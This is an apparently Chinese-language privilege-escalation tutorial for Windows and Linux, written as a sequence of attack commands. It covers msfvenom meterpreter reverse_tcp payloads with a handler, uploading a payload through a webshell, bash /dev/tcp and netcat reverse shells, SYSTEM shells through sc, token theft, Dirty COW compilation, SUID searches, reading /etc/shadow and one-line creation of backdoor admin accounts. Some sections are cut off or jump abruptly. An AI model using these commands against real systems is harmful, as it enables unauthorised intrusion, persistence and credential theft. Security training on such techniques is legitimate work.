Windows权限提升
常见提权方法
1、溢出漏洞提权
2、数据库提权
3、第三方软件提权
Cmd命令无法执行原因分析
1、Cmd命令无法执行分析
主要原因是cmd.exe被管理员降权或删除,也有可能组件被删除。
2、Cmd命令执行解决方法
通过脚本木马查找可读可写目录,上传cmd,调用cmd路径执行命令(找可读可写目录不要选带空格目录)。
菜刀设置终端路径:setp c:\test\cmd.exe
提权常用命令讲解
whoami ——查看用户权限
systeminfo ——查看操作系统,补丁情况
ipconfig——查看当前服务器IPipconfig /all
net user——查看当前用户情况
netstat ——查看当前网络连接情况netstat –ano /netstat –an | find “ESTABLISHED”
tasklist——查看当前进程情况 tasklist /svc
taskkill——结束进程taskkill -PID xx
net start ——启动服
net stop ——停止服务
net user best 123456 /add 添加用户名为best,密码为123456
net localgroup administrators best /add 将用户名为best的用户添加到管理员组
net user best /del 删除best用户
已对外公开exp注:
https://github.com/SecWiki/windows-kernel-exploits
https://github.com/WindowsExploits/Exploits
https://github.com/AusJock/Privilege-Escalation
对于高版本提权的介绍(7、8、08、12、16)
一、UAC介绍
UAC(User Account Control)是微软在 Windows Vista 以后版本引入的一种安全机制,通过 UAC,应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员特别授予管理员级别的系统访问权限。
当前获得的权限是存在于管理员组的时候但是并且是administrator这个用户,此时就可能需要我们进行绕过UAC的操作,否则虽然是管理员组但是实际上并没有管理员所对应的高权限操作,这个时候就需要bypass uac
提权前奏
条件:kali环境下运行
木马生成:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.60.109 LPORT=4444 -f exe -o payload.exe
配置木马文件
本地监听:
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.60.109 //
msf exploit(handler) > set lport 4444
msf exploit(handler) > exploit
操作步骤
1、kali系统配置木马文件,最后生成木马文件
2、在被菜刀控制的主机上上传木马文件然后运行
3、监听的这边就会显示已连接
sc命令提权(administrator–>system)
ps:经测试03也可以。
关于sc命令:
SC 是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类似于“控制面板”中“管理工具”项中的“服务”。
sc Create syscmd binPath= “cmd /K start” type= own type= interact
这个命令的意思是创建一个名叫syscmd的新的交互式的cmd服务
然后执行
sc start syscmd,就得到了一个system权限的cmd环境
![](https://img.laitimes.com/img/9ZDMuAjOiMmIsIjOiQnIsIyZuBnL5QDOxEjM2IDOwAjMwIzLc12bj5ycj5Wd5lGbh5yZulmapVmYt42YtM3cv5Cd3x2Lc9CX6MHc0RHaiojIsJye.png)
不带引号的服务路径
当系统管理员配置Windows服务时,他们必须指定要执行的命令,或者运行可执行文件的路径。
当Windows服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。
这可能有点不直观,所以让我们来看一个实际的例子。假设服务配置类似于以下存在bug的示例服务:
=======================================
命令ps,可以看到对方进程目录,可以看到进程的令牌
执行以下语句窃取该用户进程的令牌:
steal_token 2584
会话状态下的权限提升
Meterpreter会话,接着我们在Meterpreter会话输入以下命令:
background //把你当前的Meterpreter会话转为后台执行。
接着我们在MSF命令行执行以下命令搜索微软2015年的可用漏洞模块
Linux权限提升
linux发行版本
是我们常说的Linux操作系统,也即是由Linux内核与各种常用软件的集合产品,全球大约有数百款的Linux系统版本,每个系统版本都有自己的特性和目标人群, 例如:
· CentOS
· redhat
· ubuntu
· kali
linux内核版本的分类
Linux内核版本有两种:稳定版和开发版 ,Linux内核版本号由3组数字组成:第一个组数字.第二组数字.第三组数字
第一个组数字:目前发布的内核主版本。
第二个组数字:偶数表示稳定版本;奇数表示开发中版本。
第三个组数字:错误修补的次数。
linux内核
Linux系统内核指的是一个由Linus Torvalds负责维护,提供硬件抽象层、硬盘及文件系统控制及多任务功能的系统核心程序。
查看发行版本
cat /etc/issue
cat /etc/*-release
内核漏洞提权
查看内核版本
uname -a
在完成以上操作后,我们就知道了Linux的内核版本
就可以用kali自带的searchsploit来搜索exploitdb中的漏洞利用代码
searchsploit linux Debian 5
反弹shell
如果手里只有webshell可以利用反弹shell来得到一个shell
nc -lvvp 8080 -t -e /bin/bash
之后在物理机利用nc软件输入一下命令来反控制虚拟机
以上是第一种方法,以下是另一种方法
bash -i >& /dev/tcp/192.168.60.7/9999 0>&1 //中间的IP地址为自己的公网IP
然后在本地物理机监听
bash提权
针对kali4.9.0以下的版本,以上版本没有这个漏洞
xshell控制Linux后,进入vim配置端口8080,然后运行Linux上的Apache网站,
kali启动Apache网站的路径:
在终端输入“vim/etc/apacge2/ports.conf”(会进入vim),只收输入i进入编辑模式;进去后修改Apache2的默认监听端口为8080->编辑好好保存退出,
启动方式:在终端输入“/etc/init.d/apache2 start”
访问方式:在浏览器输入:kaliIP地址:8080/index.html
搭建好后上传木马文件(hao.php)到该网站。传到网站目录
然后访问该木马文件:找到下方位置
之后点击反弹连接,然后到nc界面回车一下,就可以实现控制
脏牛提权漏洞复现
POC文件:https://github.com/FireFart/dirtycow
准备好poc文件后,在低内核版本上新建普通用户。
新建账号的方法:
useradd test/passwd test
使用su切换账号
su 账户名
配置以上后上传脏牛文件到服务器
上传完成后借用gcc编译脏牛文件,命令如下:
gcc -pthread dirty.c -o dirty -lcrypt
SUID提权
概念
SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。那么,为什么要给Linux二进制文件设置这种权限呢?其实原因有很多,例如,程序ping需要root权限才能打开网络套接字,但执行该程序的用户通常都是由普通用户,来验证与其他主机的连通性
SUID提权:
那么什么是suid提权呢?我理解的就是有个文件,它有s标志,并且他输入root,那么我们运行这个程序就可以有了root的权限,并且这个程序还得能执行命令,不然没什么用处,那么我们就能从普通用户提升到了root权限了。
首先在本地查找符合条件的文件,有以下三个命令
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
已对外公开 exp 注
https://github.com/SecWiki/linux-kernel-exploits
https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack/
https://github.com/xairy/kernel-exploits
Linux常用命令解析
uname -a 打印所有可用的系统信息
cat /etc/passwd 列出系统上的所有用户
cat /etc/shadow 列出系统上的所有用户密码
whoami 查看当前用户
w 谁目前已登录,他们正在做什么
last 最后登录用户的列表
lastlog 所有用户上次登录的信息
linux 一句话添加账号
(1)chpasswd 方法
useradd guest;echo ‘guest:123456’|chpasswd
(2)useradd -p 方法
useradd -p
openssl passwd 123456
guest
(3)echo -e 方法
useradd test;echo -e “123456n123456n” |passwd test
Linux运维最常用的150个命令https://www.jianshu.com/p/979d8f5e5e65